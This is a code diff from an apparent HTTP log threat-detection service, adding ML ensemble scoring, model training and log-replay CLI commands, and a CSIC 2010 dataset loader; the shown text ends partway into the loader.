+    np = None  # type: ignore[assignment]
+
+if TYPE_CHECKING:
+    from app.core.detection.inference import InferenceEngine
+
 logger = logging.getLogger(__name__)
 
+DEFAULT_ENSEMBLE_WEIGHTS: dict[str, float] = {
+    "ae": 0.40,
+    "rf": 0.40,
+    "if": 0.20,
+}
+
 
 @dataclass(slots=True)
 class EnrichedRequest:
     """
-    A parsed log entry enriched with extracted features and GeoIP data.
+    A parsed log entry enriched with extracted features and GeoIP data
     """
 
     entry: ParsedLogEntry
@@ -36,7 +57,7 @@ class EnrichedRequest:
 @dataclass(slots=True)
 class ScoredRequest:
     """
-    A fully scored request ready for dispatch.
+    A fully scored request ready for dispatch
     """
 
     entry: ParsedLogEntry
@@ -44,16 +65,18 @@ class ScoredRequest:
     feature_vector: list[float]
     geo: GeoResult | None
     rule_result: RuleResult
+    final_score: float = 0.0
+    detection_mode: str = "rules"
 
 
 class Pipeline:
     """
     Four-stage async pipeline that transforms raw log lines
-    into scored threat candidates.
+    into scored threat candidates
 
     Stages:
-        raw_queue → [parse] → parsed_queue → [enrich+features]
-        → feature_queue → [detect] → alert_queue → [dispatch]
+        raw_queue -> [parse] -> parsed_queue -> [enrich+features]
+        -> feature_queue -> [detect] -> alert_queue -> [dispatch]
     """
 
     def __init__(
@@ -61,34 +84,36 @@ class Pipeline:
         redis_client: aioredis.Redis[bytes],
         rule_engine: RuleEngine,
         geoip: GeoIPService | None = None,
-        on_result: Callable[[ScoredRequest], Awaitable[None]] | None = None,
+        on_result: (Callable[[ScoredRequest], Awaitable[None]] | None) = None,
+        inference_engine: InferenceEngine | None = None,
+        ensemble_weights: dict[str, float] | None = None,
         raw_queue_size: int = 1000,
         parsed_queue_size: int = 500,
         feature_queue_size: int = 200,
         alert_queue_size: int = 100,
     ) -> None:
         self.raw_queue: asyncio.Queue[str | None] = asyncio.Queue(
-            maxsize=raw_queue_size,
-        )
-        self._parsed_queue: asyncio.Queue[ParsedLogEntry | None] = asyncio.Queue(
-            maxsize=parsed_queue_size,
-        )
-        self._feature_queue: asyncio.Queue[EnrichedRequest | None] = asyncio.Queue(
-            maxsize=feature_queue_size,
-        )
+            maxsize=raw_queue_size)
+        self._parsed_queue: asyncio.Queue[ParsedLogEntry
+                                          | None] = asyncio.Queue(
+                                              maxsize=parsed_queue_size)
+        self._feature_queue: asyncio.Queue[EnrichedRequest
+                                           | None] = asyncio.Queue(
+                                               maxsize=feature_queue_size)
         self._alert_queue: asyncio.Queue[ScoredRequest | None] = asyncio.Queue(
-            maxsize=alert_queue_size,
-        )
+            maxsize=alert_queue_size)
 
         self._aggregator = WindowAggregator(redis_client)
         self._rule_engine = rule_engine
         self._geoip = geoip
         self._on_result = on_result
+        self._inference_engine = inference_engine
+        self._ensemble_weights = ensemble_weights or DEFAULT_ENSEMBLE_WEIGHTS
         self._tasks: list[asyncio.Task[None]] = []
 
     async def start(self) -> None:
         """
-        Spawn worker tasks for each pipeline stage.
+        Spawn worker tasks for each pipeline stage
         """
         self._tasks = [
             asyncio.create_task(self._parse_worker(), name="parse"),
@@ -100,7 +125,8 @@ class Pipeline:
 
     async def stop(self) -> None:
         """
-        Send a poison pill through the chain and wait for all workers to exit.
+        Send a poison pill through the chain and wait
+        for all workers to exit
         """
         await self.raw_queue.put(None)
         await asyncio.gather(*self._tasks)
@@ -108,7 +134,7 @@ class Pipeline:
 
     async def _parse_worker(self) -> None:
         """
-        Stage 1: Parse raw log lines into structured entries.
+        Stage 1: Parse raw log lines into structured entries
         """
         while True:
             line = await self.raw_queue.get()
@@ -126,8 +152,9 @@ class Pipeline:
 
     async def _feature_worker(self) -> None:
         """
-        Stage 2: Enrich with GeoIP, extract per-request features,
-        aggregate per-IP windowed features, and encode the 35-dim vector.
+        Stage 2: Enrich with GeoIP, extract per-request
+        features, aggregate per-IP windowed features,
+        and encode the 35-dim vector
         """
         while True:
             entry = await self._parsed_queue.get()
@@ -166,15 +193,18 @@ class Pipeline:
                         features=merged,
                         feature_vector=vector,
                         geo=geo,
-                    )
-                )
+                    ))
             except Exception:
-                logger.exception("Feature extraction failed for %s", entry.ip)
+                logger.exception(
+                    "Feature extraction failed for %s",
+                    entry.ip,
+                )
             self._parsed_queue.task_done()
 
     async def _detection_worker(self) -> None:
         """
-        Stage 3: Score enriched requests using the rule engine.
+        Stage 3: Score enriched requests using the rule
+        engine, optionally enhanced with ML ensemble
         """
         while True:
             enriched = await self._feature_queue.get()
@@ -187,6 +217,25 @@ class Pipeline:
                     enriched.features,
                     enriched.entry,
                 )
+
+                final_score = rule_result.threat_score
+                detection_mode = "rules"
+
+                if (self._inference_engine is not None
+                        and self._inference_engine.is_loaded
+                        and np is not None):
+                    ml_scores = self._score_with_ml(enriched.feature_vector)
+                    if ml_scores is not None:
+                        ml_fused = fuse_scores(
+                            ml_scores,
+                            self._ensemble_weights,
+                        )
+                        final_score = blend_scores(
+                            ml_fused,
+                            rule_result.threat_score,
+                        )
+                        detection_mode = "hybrid"
+
                 await self._alert_queue.put(
                     ScoredRequest(
                         entry=enriched.entry,
@@ -194,15 +243,40 @@ class Pipeline:
                         feature_vector=enriched.feature_vector,
                         geo=enriched.geo,
                         rule_result=rule_result,
-                    )
-                )
+                        final_score=final_score,
+                        detection_mode=detection_mode,
+                    ))
             except Exception:
                 logger.exception("Detection failed")
             self._feature_queue.task_done()
 
+    def _score_with_ml(self,
+                       feature_vector: list[float]) -> dict[str, float] | None:
+        """
+        Run ML ensemble inference on a single feature vector
+        and return normalized per-model scores
+        """
+        batch = np.array([feature_vector], dtype=np.float32)
+        raw = self._inference_engine.predict(batch)  # type: ignore[union-attr]
+        if raw is None:
+            return None
+
+        return {
+            "ae":
+            normalize_ae_score(
+                raw["ae"][0],
+                self._inference_engine.threshold,  # type: ignore[union-attr]
+            ),
+            "rf":
+            raw["rf"][0],
+            "if":
+            normalize_if_score(raw["if"][0]),
+        }
+
     async def _dispatch_worker(self) -> None:
         """
-        Stage 4: Dispatch scored results via the on_result callback.
+        Stage 4: Dispatch scored results via the
+        on_result callback
         """
         while True:
             scored = await self._alert_queue.get()
@@ -213,5 +287,8 @@ class Pipeline:
                 if self._on_result is not None:
                     await self._on_result(scored)
             except Exception:
-                logger.exception("Dispatch failed for %s", scored.entry.ip)
+                logger.exception(
+                    "Dispatch failed for %s",
+                    scored.entry.ip,
+                )
             self._alert_queue.task_done()

PROJECTS/advanced/ai-threat-detection/backend/app/core/ingestion/tailer.py

@@ -45,15 +45,26 @@ class _LogHandler(FileSystemEventHandler):
         Open the target log file and seek to the end.
         """
         try:
-            self._file = open(self._target, encoding="utf-8", errors="replace")  # noqa: SIM115
+            self._file = open(  # noqa: SIM115
+                self._target, encoding="utf-8", errors="replace")
             self._file.seek(0, os.SEEK_END)
             self._inode = os.stat(self._target).st_ino
             logger.info("Tailing %s (inode %s)", self._target, self._inode)
         except FileNotFoundError:
-            logger.warning("Log file %s not found — waiting for creation", self._target)
+            logger.warning("Log file %s not found — waiting for creation",
+                           self._target)
             self._file = None
             self._inode = None
 
+    def _enqueue(self, line: str) -> None:
+        """
+        Push one line into the queue, logging drops on full queue
+        """
+        try:
+            self._queue.put_nowait(line)
+        except asyncio.QueueFull:
+            logger.warning("Raw queue full — log line dropped")
+
     def _read_new_lines(self) -> None:
         """
         Read all new complete lines from the current file position.
@@ -64,7 +75,7 @@ class _LogHandler(FileSystemEventHandler):
         for line in self._file:
             stripped = line.rstrip("\n\r")
             if stripped:
-                self._loop.call_soon_threadsafe(self._queue.put_nowait, stripped)
+                self._loop.call_soon_threadsafe(self._enqueue, stripped)
 
     def _handle_rotation(self) -> None:
         """
@@ -76,9 +87,11 @@ class _LogHandler(FileSystemEventHandler):
             self._file.close()
 
         try:
-            self._file = open(self._target, encoding="utf-8", errors="replace")  # noqa: SIM115
+            self._file = open(  # noqa: SIM115
+                self._target, encoding="utf-8", errors="replace")
             self._inode = os.stat(self._target).st_ino
-            logger.info("Rotated to new %s (inode %s)", self._target, self._inode)
+            logger.info("Rotated to new %s (inode %s)", self._target,
+                        self._inode)
         except FileNotFoundError:
             self._file = None
             self._inode = None
@@ -93,7 +106,8 @@ class _LogHandler(FileSystemEventHandler):
         except FileNotFoundError:
             return False
 
-    def on_modified(self, event: FileModifiedEvent) -> None:  # type: ignore[override]
+    def on_modified(
+            self, event: FileModifiedEvent) -> None:  # type: ignore[override]
         """
         Handle new data appended to the log file.
         """
@@ -109,7 +123,8 @@ class _LogHandler(FileSystemEventHandler):
 
         self._read_new_lines()
 
-    def on_moved(self, event: FileMovedEvent) -> None:  # type: ignore[override]
+    def on_moved(self,
+                 event: FileMovedEvent) -> None:  # type: ignore[override]
         """
         Handle log rotation via rename (access.log -> access.log.1).
         """
@@ -117,10 +132,12 @@ class _LogHandler(FileSystemEventHandler):
             return
 
         if Path(str(event.src_path)).resolve() == Path(self._target).resolve():
-            logger.info("Log rotated: %s -> %s", event.src_path, event.dest_path)
+            logger.info("Log rotated: %s -> %s", event.src_path,
+                        event.dest_path)
             self._handle_rotation()
 
-    def on_created(self, event: FileCreatedEvent) -> None:  # type: ignore[override]
+    def on_created(self,
+                   event: FileCreatedEvent) -> None:  # type: ignore[override]
         """
         Handle log rotation where a new file is created at the target path.
         """

PROJECTS/advanced/ai-threat-detection/backend/app/factory.py

@@ -9,6 +9,7 @@ import time
 from collections.abc import AsyncIterator
 from contextlib import asynccontextmanager
 from pathlib import Path
+from typing import TYPE_CHECKING
 
 from fastapi import FastAPI
 from sqlalchemy.ext.asyncio import AsyncSession, async_sessionmaker, create_async_engine
@@ -24,6 +25,9 @@ from app.core.redis_manager import redis_manager
 from app.models import model_metadata as _model_metadata_reg  # noqa: F401
 from app.models import threat_event as _threat_event_reg  # noqa: F401
 
+if TYPE_CHECKING:
+    from app.core.detection.inference import InferenceEngine
+
 logger = logging.getLogger(__name__)
 
 
@@ -59,11 +63,21 @@ async def lifespan(app: FastAPI) -> AsyncIterator[None]:
         session_factory=app.state.session_factory,
     )
 
+    inference_engine = _load_inference_engine()
+    app.state.models_loaded = inference_engine is not None and inference_engine.is_loaded
+    app.state.detection_mode = "hybrid" if app.state.models_loaded else "rules"
+
     pipeline = Pipeline(
         redis_client=redis_client,  # type: ignore[arg-type]
         rule_engine=RuleEngine(),
         geoip=geoip,
         on_result=dispatcher.dispatch,
+        inference_engine=inference_engine,
+        ensemble_weights={
+            "ae": settings.ensemble_weight_ae,
+            "rf": settings.ensemble_weight_rf,
+            "if": settings.ensemble_weight_if,
+        },
         raw_queue_size=settings.raw_queue_size,
         parsed_queue_size=settings.parsed_queue_size,
         feature_queue_size=settings.feature_queue_size,
@@ -100,6 +114,34 @@ async def lifespan(app: FastAPI) -> AsyncIterator[None]:
     logger.info("AngelusVigil shut down cleanly")
 
 
+def _load_inference_engine() -> InferenceEngine | None:
+    """
+    Attempt to load the ONNX inference engine from the
+    configured model directory, returning None if ML
+    dependencies are missing or no models are found
+    """
+    try:
+        from app.core.detection.inference import (
+            InferenceEngine, )
+    except ImportError:
+        logger.info("onnxruntime not installed — running in rules-only mode")
+        return None
+
+    engine = InferenceEngine(model_dir=settings.model_dir)
+    if engine.is_loaded:
+        logger.info(
+            "ML models loaded from %s",
+            settings.model_dir,
+        )
+        return engine
+
+    logger.info(
+        "No ML models found in %s — running in rules-only mode",
+        settings.model_dir,
+    )
+    return None
+
+
 def create_app() -> FastAPI:
     """
     Build and configure the AngelusVigil FastAPI application.
@@ -114,12 +156,14 @@ def create_app() -> FastAPI:
     app.state.pipeline_running = False
 
     from app.api.health import router as health_router
+    from app.api.ingest import router as ingest_router
     from app.api.models_api import router as models_router
     from app.api.stats import router as stats_router
     from app.api.threats import router as threats_router
     from app.api.websocket import router as ws_router
 
     app.include_router(health_router)
+    app.include_router(ingest_router)
     app.include_router(threats_router)
     app.include_router(stats_router)
     app.include_router(models_router)

PROJECTS/advanced/ai-threat-detection/backend/app/models/model_metadata.py

@@ -15,14 +15,11 @@ class ModelMetadata(TimestampedModel, table=True):
     """
 
     __tablename__ = "model_metadata"
-    __table_args__ = (
-        Index(
-            "idx_model_metadata_active",
-            "model_type",
-            unique=True,
-            postgresql_where=text("is_active = TRUE"),
-        ),
-    )
+    __table_args__ = (Index(
+        "idx_model_metadata_active",
+        "model_type",
+        postgresql_where=text("is_active = TRUE"),
+    ), )
 
     model_type: str = Field(max_length=30)
     version: str = Field(max_length=64)

PROJECTS/advanced/ai-threat-detection/backend/app/models/threat_event.py

@@ -42,15 +42,16 @@ class ThreatEvent(TimestampedModel, table=True):
     user_agent: str
     threat_score: float = Field(sa_column=Column(Float, nullable=False))
     severity: str = Field(max_length=6)
-    component_scores: dict[str, float] = Field(sa_column=Column(JSON, nullable=False))
+    component_scores: dict[str, float] = Field(
+        sa_column=Column(JSON, nullable=False))
     geo_country: str | None = Field(default=None, max_length=2)
     geo_city: str | None = Field(default=None, max_length=255)
     geo_lat: float | None = Field(default=None)
     geo_lon: float | None = Field(default=None)
     feature_vector: list[float] = Field(sa_column=Column(JSON, nullable=False))
-    matched_rules: list[str] | None = Field(
-        default=None, sa_column=Column(JSON, nullable=True)
-    )
+    matched_rules: list[str] | None = Field(default=None,
+                                            sa_column=Column(JSON,
+                                                             nullable=True))
     model_version: str | None = Field(default=None, max_length=64)
     reviewed: bool = Field(default=False)
     review_label: str | None = Field(default=None, max_length=20)

PROJECTS/advanced/ai-threat-detection/backend/app/schemas/stats.py

@@ -40,7 +40,7 @@ class StatsResponse(BaseModel):
     """
 
     time_range: str
-    total_requests: int
+    threats_stored: int
     threats_detected: int
     severity_breakdown: SeverityBreakdown
     top_source_ips: list[IPStatEntry]

PROJECTS/advanced/ai-threat-detection/backend/app/services/stats_service.py

@@ -35,48 +35,49 @@ async def get_stats(
     delta = _RANGE_MAP.get(time_range, timedelta(hours=24))
     cutoff = datetime.now(UTC) - delta
 
-    base = select(ThreatEvent).where(ThreatEvent.created_at >= cutoff)  # type: ignore[arg-type]
+    base = select(ThreatEvent).where(ThreatEvent.created_at
+                                     >= cutoff)  # type: ignore[arg-type]
 
     total_q = select(func.count()).select_from(base.subquery())
     total = (await session.execute(total_q)).scalar_one()
 
     sev_q = (
-        select(ThreatEvent.severity, func.count())  # type: ignore[call-overload]
-        .where(ThreatEvent.created_at >= cutoff)
-        .group_by(ThreatEvent.severity)
-    )
+        select(ThreatEvent.severity,
+               func.count())  # type: ignore[call-overload]
+        .where(ThreatEvent.created_at >= cutoff).group_by(
+            ThreatEvent.severity))
     sev_rows = (await session.execute(sev_q)).all()
     sev_map = {row[0]: row[1] for row in sev_rows}
 
     threats_detected = sev_map.get("HIGH", 0) + sev_map.get("MEDIUM", 0)
 
     ip_q = (
-        select(ThreatEvent.source_ip, func.count().label("cnt"))  # type: ignore[call-overload]
-        .where(ThreatEvent.created_at >= cutoff)
-        .group_by(ThreatEvent.source_ip)
-        .order_by(func.count().desc())
-        .limit(10)
-    )
+        select(ThreatEvent.source_ip,
+               func.count().label("cnt"))  # type: ignore[call-overload]
+        .where(ThreatEvent.created_at >= cutoff).group_by(
+            ThreatEvent.source_ip).order_by(func.count().desc()).limit(10))
     ip_rows = (await session.execute(ip_q)).all()
 
     path_q = (
-        select(ThreatEvent.request_path, func.count().label("cnt"))  # type: ignore[call-overload]
-        .where(ThreatEvent.created_at >= cutoff)
-        .group_by(ThreatEvent.request_path)
-        .order_by(func.count().desc())
-        .limit(10)
-    )
+        select(ThreatEvent.request_path,
+               func.count().label("cnt"))  # type: ignore[call-overload]
+        .where(ThreatEvent.created_at >= cutoff).group_by(
+            ThreatEvent.request_path).order_by(func.count().desc()).limit(10))
     path_rows = (await session.execute(path_q)).all()
 
     return StatsResponse(
         time_range=time_range,
-        total_requests=total,
+        threats_stored=total,
         threats_detected=threats_detected,
         severity_breakdown=SeverityBreakdown(
             high=sev_map.get("HIGH", 0),
             medium=sev_map.get("MEDIUM", 0),
             low=sev_map.get("LOW", 0),
         ),
-        top_source_ips=[IPStatEntry(source_ip=row[0], count=row[1]) for row in ip_rows],
-        top_attacked_paths=[PathStatEntry(path=row[0], count=row[1]) for row in path_rows],
+        top_source_ips=[
+            IPStatEntry(source_ip=row[0], count=row[1]) for row in ip_rows
+        ],
+        top_attacked_paths=[
+            PathStatEntry(path=row[0], count=row[1]) for row in path_rows
+        ],
     )

PROJECTS/advanced/ai-threat-detection/backend/app/services/threat_service.py

@@ -9,6 +9,7 @@ from datetime import datetime
 from sqlalchemy import func, select
 from sqlalchemy.ext.asyncio import AsyncSession
 
+from app.core.detection.ensemble import classify_severity
 from app.core.ingestion.pipeline import ScoredRequest
 from app.models.threat_event import ThreatEvent
 from app.schemas.threats import (
@@ -63,19 +64,28 @@ async def get_threats(
     count_query = select(func.count()).select_from(ThreatEvent)
 
     if severity:
-        query = query.where(ThreatEvent.severity == severity.upper())  # type: ignore[arg-type]
-        count_query = count_query.where(ThreatEvent.severity == severity.upper())  # type: ignore[arg-type]
+        query = query.where(
+            ThreatEvent.severity == severity.upper())  # type: ignore[arg-type]
+        count_query = count_query.where(
+            ThreatEvent.severity == severity.upper())  # type: ignore[arg-type]
     if source_ip:
-        query = query.where(ThreatEvent.source_ip == source_ip)  # type: ignore[arg-type]
-        count_query = count_query.where(ThreatEvent.source_ip == source_ip)  # type: ignore[arg-type]
+        query = query.where(
+            ThreatEvent.source_ip == source_ip)  # type: ignore[arg-type]
+        count_query = count_query.where(
+            ThreatEvent.source_ip == source_ip)  # type: ignore[arg-type]
     if since:
-        query = query.where(ThreatEvent.created_at >= since)  # type: ignore[arg-type]
-        count_query = count_query.where(ThreatEvent.created_at >= since)  # type: ignore[arg-type]
+        query = query.where(ThreatEvent.created_at
+                            >= since)  # type: ignore[arg-type]
+        count_query = count_query.where(ThreatEvent.created_at
+                                        >= since)  # type: ignore[arg-type]
     if until:
-        query = query.where(ThreatEvent.created_at <= until)  # type: ignore[arg-type]
-        count_query = count_query.where(ThreatEvent.created_at <= until)  # type: ignore[arg-type]
+        query = query.where(ThreatEvent.created_at
+                            <= until)  # type: ignore[arg-type]
+        count_query = count_query.where(ThreatEvent.created_at
+                                        <= until)  # type: ignore[arg-type]
 
-    query = query.order_by(ThreatEvent.created_at.desc())  # type: ignore[attr-defined]
+    query = query.order_by(
+        ThreatEvent.created_at.desc())  # type: ignore[attr-defined]
     query = query.offset(offset).limit(limit)
 
     total = (await session.execute(count_query)).scalar_one()
@@ -116,16 +126,16 @@ async def create_threat_event(
         status_code=scored.entry.status_code,
         response_size=scored.entry.response_size,
         user_agent=scored.entry.user_agent,
-        threat_score=scored.rule_result.threat_score,
-        severity=scored.rule_result.severity,
+        threat_score=scored.final_score,
+        severity=classify_severity(scored.final_score),
         component_scores=scored.rule_result.component_scores,
-        geo_country=scored.geo.country if scored.geo else None,
-        geo_city=scored.geo.city if scored.geo else None,
-        geo_lat=scored.geo.lat if scored.geo else None,
-        geo_lon=scored.geo.lon if scored.geo else None,
+        geo_country=(scored.geo.country if scored.geo else None),
+        geo_city=(scored.geo.city if scored.geo else None),
+        geo_lat=(scored.geo.lat if scored.geo else None),
+        geo_lon=(scored.geo.lon if scored.geo else None),
         feature_vector=scored.feature_vector,
-        matched_rules=scored.rule_result.matched_rules or None,
-        model_version="rules-v1",
+        matched_rules=(scored.rule_result.matched_rules or None),
+        model_version=scored.detection_mode,
     )
     session.add(event)
     await session.flush()

PROJECTS/advanced/ai-threat-detection/backend/cli/main.py

@@ -3,6 +3,10 @@
 main.py
 """
 
+import asyncio
+import dataclasses
+from pathlib import Path
+
 import typer
 
 app = typer.Typer(
@@ -11,15 +15,62 @@ app = typer.Typer(
     no_args_is_help=True,
 )
 
+DEFAULT_MODEL_DIR = "data/models"
+DEFAULT_EPOCHS = 100
+DEFAULT_BATCH_SIZE = 256
+DEFAULT_SYNTHETIC_NORMAL = 1000
+DEFAULT_SYNTHETIC_ATTACK = 500
+DEFAULT_EXPERIMENT_NAME = "angelusvigil-training"
+DEFAULT_SERVER_URL = "http://localhost:8000"
+
+
+async def _write_metadata(
+    model_dir: Path,
+    training_samples: int,
+    metrics: dict[str, object],
+    mlflow_run_id: str | None,
+    threshold: float | None,
+) -> None:
+    """
+    Persist training metadata to the database
+    """
+    from app.config import settings
+    from ml.metadata import save_model_metadata
+    from sqlalchemy.ext.asyncio import (
+        AsyncSession,
+        async_sessionmaker,
+        create_async_engine,
+    )
+
+    engine = create_async_engine(settings.database_url)
+    try:
+        factory = async_sessionmaker(
+            engine,
+            class_=AsyncSession,
+            expire_on_commit=False,
+        )
+        async with factory() as session:
+            await save_model_metadata(
+                session,
+                model_dir=model_dir,
+                training_samples=training_samples,
+                metrics=metrics,
+                mlflow_run_id=mlflow_run_id,
+                threshold=threshold,
+            )
+    finally:
+        await engine.dispose()
+
 
 @app.command()
 def serve(
     host: str = typer.Option("0.0.0.0", help="Bind address"),
     port: int = typer.Option(8000, help="Bind port"),
-    reload: bool = typer.Option(False, help="Enable auto-reload for development"),
+    reload: bool = typer.Option(False,
+                                help="Enable auto-reload for development"),
 ) -> None:
     """
-    Start the AngelusVigil API server.
+    Start the AngelusVigil API server
     """
     import uvicorn
 
@@ -31,16 +82,212 @@ def serve(
     )
 
 
+@app.command()
+def train(
+    csic_dir: Path = typer.Option(
+        None,
+        help="Path to CSIC 2010 dataset directory",
+    ),
+    synthetic_normal: int = typer.Option(
+        DEFAULT_SYNTHETIC_NORMAL,
+        help="Number of synthetic normal samples",
+    ),
+    synthetic_attack: int = typer.Option(
+        DEFAULT_SYNTHETIC_ATTACK,
+        help="Number of synthetic attack samples",
+    ),
+    output_dir: Path = typer.Option(
+        DEFAULT_MODEL_DIR,
+        help="Directory to save ONNX models",
+    ),
+    epochs: int = typer.Option(
+        DEFAULT_EPOCHS,
+        help="Autoencoder training epochs",
+    ),
+    batch_size: int = typer.Option(
+        DEFAULT_BATCH_SIZE,
+        help="Training batch size",
+    ),
+    experiment_name: str = typer.Option(
+        DEFAULT_EXPERIMENT_NAME,
+        help="MLflow experiment name",
+    ),
+) -> None:
+    """
+    Train all ML models and export to ONNX
+    """
+    import numpy as np
+
+    from ml.orchestrator import TrainingOrchestrator
+
+    X_parts: list[np.ndarray] = []
+    y_parts: list[np.ndarray] = []
+
+    if csic_dir is not None:
+        if not csic_dir.exists():
+            typer.echo(
+                f"Error: CSIC directory not found"
+                f" at {csic_dir}",
+                err=True,
+            )
+            raise typer.Exit(code=1)
+
+        from ml.data_loader import load_csic_dataset, load_csic_normal
+
+        normal_path = csic_dir / "normalTrafficTraining.txt"
+        normal_test_path = csic_dir / "normalTrafficTest.txt"
+        attack_path = csic_dir / "anomalousTrafficTest.txt"
+        typer.echo(f"Loading CSIC data from {csic_dir}")
+        X_csic, y_csic = load_csic_dataset(
+            normal_path, attack_path
+        )
+        X_parts.append(X_csic)
+        y_parts.append(y_csic)
+        typer.echo(
+            f"  CSIC: {len(X_csic)} samples"
+        )
+
+        if normal_test_path.exists():
+            X_extra, y_extra = load_csic_normal(normal_test_path)
+            X_parts.append(X_extra)
+            y_parts.append(y_extra)
+            typer.echo(
+                f"  CSIC normal test: {len(X_extra)} samples"
+            )
+
+    if synthetic_normal > 0 or synthetic_attack > 0:
+        from ml.synthetic import generate_mixed_dataset
+
+        typer.echo(
+            f"Generating synthetic data:"
+            f" {synthetic_normal} normal,"
+            f" {synthetic_attack} attack"
+        )
+        X_syn, y_syn = generate_mixed_dataset(
+            synthetic_normal, synthetic_attack
+        )
+        X_parts.append(X_syn)
+        y_parts.append(y_syn)
+
+    if not X_parts:
+        typer.echo(
+            "Error: no data sources specified",
+            err=True,
+        )
+        raise typer.Exit(code=1)
+
+    X = np.vstack(X_parts)
+    y = np.concatenate(y_parts)
+    typer.echo(
+        f"Total: {len(X)} samples"
+        f" ({int(np.sum(y == 0))} normal,"
+        f" {int(np.sum(y == 1))} attack)"
+    )
+
+    orch = TrainingOrchestrator(
+        output_dir=Path(output_dir),
+        experiment_name=experiment_name,
+        epochs=epochs,
+        batch_size=batch_size,
+    )
+    result = orch.run(X, y)
+
+    try:
+        metrics: dict[str, object] = (
+            dataclasses.asdict(result.ensemble_metrics)
+            if result.ensemble_metrics else {}
+        )
+        asyncio.run(_write_metadata(
+            Path(output_dir),
+            int(len(X)),
+            metrics,
+            result.mlflow_run_id,
+            result.ae_metrics.get("ae_threshold"),
+        ))
+        typer.echo("  Model metadata saved to database")
+    except Exception as exc:
+        typer.echo(
+            f"  Warning: could not save metadata to DB: {exc}",
+            err=True,
+        )
+
+    typer.echo(f"Models exported to {output_dir}")
+    if result.ensemble_metrics is not None:
+        typer.echo(
+            f"  Ensemble F1:"
+            f" {result.ensemble_metrics.f1:.4f}"
+        )
+        typer.echo(
+            f"  Ensemble PR-AUC:"
+            f" {result.ensemble_metrics.pr_auc:.4f}"
+        )
+    typer.echo(
+        f"  Passed gates: {result.passed_gates}"
+    )
+
+    if not result.passed_gates:
+        raise typer.Exit(code=1)
+
+
+@app.command()
+def replay(
+        log_file: Path = typer.Option(...,
+                                      help="Path to nginx access log file"),
+        url: str = typer.Option(
+            DEFAULT_SERVER_URL,
+            help="Running server URL to send logs to",
+        ),
+        batch_size: int = typer.Option(100, help="Lines per batch"),
+) -> None:
+    """
+    Replay historical log lines through the pipeline
+    """
+    import httpx
+
+    if not log_file.exists():
+        typer.echo(
+            f"Error: log file not found at {log_file}",
+            err=True,
+        )
+        raise typer.Exit(code=1)
+
+    lines = log_file.read_text().strip().splitlines()
+    typer.echo(f"Replaying {len(lines)} lines to {url}")
+
+    sent = 0
+    with httpx.Client(timeout=30.0) as client:
+        for i in range(0, len(lines), batch_size):
+            batch = lines[i:i + batch_size]
+            response = client.post(
+                f"{url}/ingest/batch",
+                json={"lines": batch},
+            )
+            if response.status_code == 200:
+                sent += len(batch)
+            else:
+                typer.echo(
+                    f"  Batch {i} failed: {response.status_code}",
+                    err=True,
+                )
+
+    typer.echo(f"Replayed {sent}/{len(lines)} lines")
+
+
 @app.command()
 def config() -> None:
     """
-    Print the current configuration (secrets redacted).
+    Print the current configuration (secrets redacted)
     """
     from app.config import settings
 
     safe_fields = {}
     for key, value in settings.model_dump().items():
-        if any(secret in key for secret in ("key", "password", "secret", "token")):
+        if any(secret in key for secret in (
+                "key",
+                "password",
+                "secret",
+                "token",
+        )):
             safe_fields[key] = "***REDACTED***"
         elif "url" in key and "@" in str(value):
             safe_fields[key] = _redact_url(str(value))
@@ -54,12 +301,12 @@ def config() -> None:
 @app.command()
 def health(
     url: str = typer.Option(
-        "http://localhost:8000",
+        DEFAULT_SERVER_URL,
         help="Base URL of the running server",
     ),
 ) -> None:
     """
-    Ping the running server's /health endpoint.
+    Ping the running server's /health endpoint
     """
     import httpx
 
@@ -69,18 +316,24 @@ def health(
         data = response.json()
         typer.echo(f"  status: {data.get('status', 'unknown')}")
         typer.echo(f"  uptime: {data.get('uptime_seconds', 0):.0f}s")
-        typer.echo(f"  pipeline: {'running' if data.get('pipeline_running') else 'stopped'}")
+        typer.echo(
+            f"  pipeline: {'running' if data.get('pipeline_running') else 'stopped'}"
+        )
     except httpx.ConnectError:
         typer.echo("Error: cannot connect to server", err=True)
         raise typer.Exit(code=1) from None
     except httpx.HTTPStatusError as exc:
-        typer.echo(f"Error: server returned {exc.response.status_code}", err=True)
+        typer.echo(
+            f"Error: server returned {exc.response.status_code}",
+            err=True,
+        )
         raise typer.Exit(code=1) from None
 
 
 def _redact_url(url: str) -> str:
     """
-    Replace the user:password portion of a database URL with ***:***.
+    Replace the user:password portion of a database
+    URL with ***:***
     """
     if "://" not in url or "@" not in url:
         return url

PROJECTS/advanced/ai-threat-detection/backend/ml/autoencoder.py

@@ -45,20 +45,19 @@ class ThreatAutoencoder(nn.Module):
             nn.LeakyReLU(0.2),
             nn.Dropout(0.2),
             nn.Linear(24, input_dim),
-            nn.Sigmoid(),
         )
 
     def encode(self, x: Tensor) -> Tensor:
         """
         Compress input through the encoder to the 6-dim bottleneck.
         """
-        return self.encoder(x)
+        return self.encoder(x)  # type: ignore[no-any-return]
 
     def decode(self, z: Tensor) -> Tensor:
         """
         Reconstruct input from the bottleneck representation.
         """
-        return self.decoder(z)
+        return self.decoder(z)  # type: ignore[no-any-return]
 
     def forward(self, x: Tensor) -> Tensor:
         """
@@ -71,4 +70,4 @@ class ThreatAutoencoder(nn.Module):
         Per-sample mean squared error between input and reconstruction.
         """
         reconstructed = self.forward(x)
-        return torch.mean((x - reconstructed) ** 2, dim=1)
+        return torch.mean((x - reconstructed)**2, dim=1)

PROJECTS/advanced/ai-threat-detection/backend/ml/data_loader.py

@@ -0,0 +1,228 @@
+"""
+©AngelaMos | 2026
+data_loader.py
+"""
+
+import logging
+import re
+from dataclasses import dataclass
+from datetime import datetime, UTC
+from pathlib import Path
+
+import numpy as np
+
+from app.core.features.encoder import encode_for_inference
+from app.core.features.extractor import extract_request_features
+from app.core.features.mappings import WINDOWED_FEATURE_NAMES
+from app.core.ingestion.parsers import ParsedLogEntry
+
+logger = logging.getLogger(__name__)
+
+_REQUEST_LINE_RE = re.compile(
+    r"^(GET|POST|PUT|DELETE|HEAD|OPTIONS|PATCH|TRACE)"
+    r"\s+(\S+)\s+(HTTP/\d\.\d)\s*$")
+
+_DEFAULT_IP = "192.168.1.100"
+
+_DEFAULT_UA = ("Mozilla/5.0 (compatible; Konqueror/3.5; Linux)"
+               " KHTML/3.5.8 (like Gecko)")
+
+
+@dataclass
+class CSICRequest:
+    """
+    Single HTTP request parsed from CSIC 2010 dataset format
+    """
+
+    method: str
+    path: str
+    query_string: str
+    protocol: str
+    headers: dict[str, str]
+    body: str
+    label: int
+
+
+def parse_csic_file(
+    path: Path,
+    label: int,
+) -> list[CSICRequest]:
+    """
